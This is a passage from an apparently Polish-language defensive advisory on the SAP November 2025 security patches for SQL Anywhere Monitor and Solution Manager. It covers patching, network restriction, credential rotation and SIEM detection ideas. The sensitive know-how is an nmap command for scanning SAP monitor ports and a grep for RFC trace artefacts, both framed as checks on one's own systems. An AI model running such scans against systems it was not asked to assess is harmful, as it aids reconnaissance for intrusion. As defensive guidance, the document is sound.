    • Odszukaj instancje SQL Anywhere Monitor (Non-GUI) i sprawdź, czy są osiągalne z sieci korporacyjnej/Internetu. W skanerze/CMDB szukaj nazw usług/procesów zawierających sqlanywhere / dbmon / monitor. (Wiele wdrożeń publikuje porty admin/HTTP monitora.) Źródło o krytyczności i RCE:
    • W Solution Manager przejrzyj listę RFC-destinations (SM59) oraz logi Security Audit Log i dev_rfc* pod kątem anomalii wywołań modułów FM.
  2. Wdróż noty SAP (Patch Day XI-2025):
    • Zastosuj odpowiednie SAP Security Notes z 11.11.2025 r. (SNOTE/transporty/SUM zależnie od komponentu). Informację o wydaniu i priorytetach potwierdza SAP.
    • Dla SQL Anywhere Monitor zastosuj notę HotNews (identyfikowaną przez partnerów jako Note 3666261 dot. CVE-2025-42890). Wdrożenie usuwa podatny komponent/sekrety lub wymusza ich bezpieczne zarządzanie.
  3. Segmentacja i ograniczenie dostępu:
    • Tymczasowo ogranicz do zaufanych zarządców/VPN dostęp sieciowy do monitora i interfejsów SolMan (firewall, NAC, ZTNA).

2) Krótkoterminowo (1–7 dni)

  • Rotacja sekretów/kont serwisowych używanych przez monitor i powiązane bazy/usługi. (Hardcoded credentials -> ryzyko wtórnego użycia).
  • Hardening RFC w SolMan:
    • Przegląd uprawnień technicznych użytkowników RFC (SU01/PFCG).
    • Wymuś whitelisting zdalnych FM: ogranicz do niezbędnych, monitoruj wywołania z SM59 i ST03N. Podstawa: charakter podatności RFC/code-injection.
  • Detekcje w SIEM/IDS (przykładowe reguły):
    • Wzorce nietypowych wywołań RFC z nowymi parametrami/ładunkami (korelacja z logami SAProuter/Gateway).
    • Alerty na niespodziewane połączenia wychodzące z hosta monitora (pivot).
  • Testy regresyjne po patchowaniu: monitorowanie stabilności krajobrazu ALM.

3) Średnioterminowo (do 30 dni)

  • Przegląd ekspozycji SAP do Internetu (AS Java, NetWeaver, SolMan, monitory, integracje).
  • SBOM & secret management: wdrożenie skanów sekretów i cyklu rotacji (np. HashiCorp Vault/Azure Key Vault), weryfikacja kontenerów/obrazów pod kątem wstrzykniętych kluczy.
  • Ćwiczenia IR specyficzne dla SAP: scenariusz „kompromitacja SolMan/monitoring”.

Przykładowe komendy/akcje operacyjne (dla zespołów)

  • Zgromadzenie listy RFC-destinations (raport w SAP GUI):
    • Transakcja SM59Utilities → Display/Compare → Eksport do CSV → korelacja w SIEM.
  • Szybki skan z zewnątrz (na własnej infrastrukturze): # przykładowy Nmap na znanych portach admin/HTTP monitora (dostosuj do swojej sieci!) nmap -sV -p 80,443,8080,8090,50013,50014 <zakres_IP> --open -oA sap-sqlanywhere-monitor
  • Poszukiwanie artefaktów w logach RFC (host aplikacyjny): # przykładowo na serwerze z plikami trace SAP (ścieżki dostosuj) grep -iE "CALL_FUNCTION|RFC|REMOTE.*FUNCTION" /usr/sap/<SID>/DVEBMGS*/work/dev_rfc*

Różnice / porównania z innymi przypadkami

  • Insecure deserialization (AS Java, CVE-2025-42944, CVSS 10.0) z października/listopada 2025 dotyczył kanału RMI-P4 w AS Java (zdalne RCE) — inny komponent i inna klasa błędu niż omawiane tu hardcoded credentials oraz RFC code injection. Wciąż jednak wpisuje się w szerszy wzorzec krytycznych błędów SAP w 2025 r., wymagających szybkiego patchowania.
  • Wcześniejsze „n-daye” w 2025 pokazały, że opóźnienia w aktualizacjach prowadzą do realnych kompromitacji (kampanie nadużywające luk NetWeaver). Wniosek: nawet „tylko” SolMan/RFC czy monitor mogą stać się wektorem pierwotnym. (Kontekst trendu i ostrzeżenia branżowe).

Podsumowanie / kluczowe wnioski

  • Patch now: SQL Anywhere Monitor (Non-GUI) – HotNews (CVSS 10.0) oraz CVE-2025-42887 w Solution Manager (CVSS 9.9) to luki wysokiego ryzyka. Wdrożenie not SAP z 11.11.2025 r. powinno być priorytetem.
  • Zabezpiecz sekrety i RFC: usuń stałe poświadczenia, rotuj konta serwisowe; w SolMan ogranicz i monitoruj wywołania RFC.
  • Monitoruj oznaki RCE/pivotu: nietypowe połączenia z hostów monitorujących, anomalia w logach RFC/Gateway.
  • Ucz się z 2025: krytyczne luki SAP pojawiają się regularnie — potrzebny jest stały cykl: asset inventory → szybkie patchowanie → detekcje nadużyć → ćwiczenia IR.

Źródła / bibliografia

  1. SAP Support Portal – Security Patch Day (listopad 2025): liczba not, zalecenia wdrożenia. (SAP Support Portal)
  2. SecurityWeek – omówienie luk (hardcoded credentials/RCE w SQL Anywhere Monitor; krytyczność pakietu). (SecurityWeek)
  3. NVD – karta CVE-2025-42887 (Solution Manager, code injection przez RFC; metryka CVSS/CWE). (NVD)
  4. Onapsis – przegląd listopadowych not SAP, kontekst i akcent na SQL Anywhere Monitor + SolMan. (Onapsis)
  5. SecurityBridge – zestawienie not z numerami (m.in. Note 3666261 / CVE-2025-42890, SQL Anywhere Monitor – HotNews 10.0). (SecurityBridge)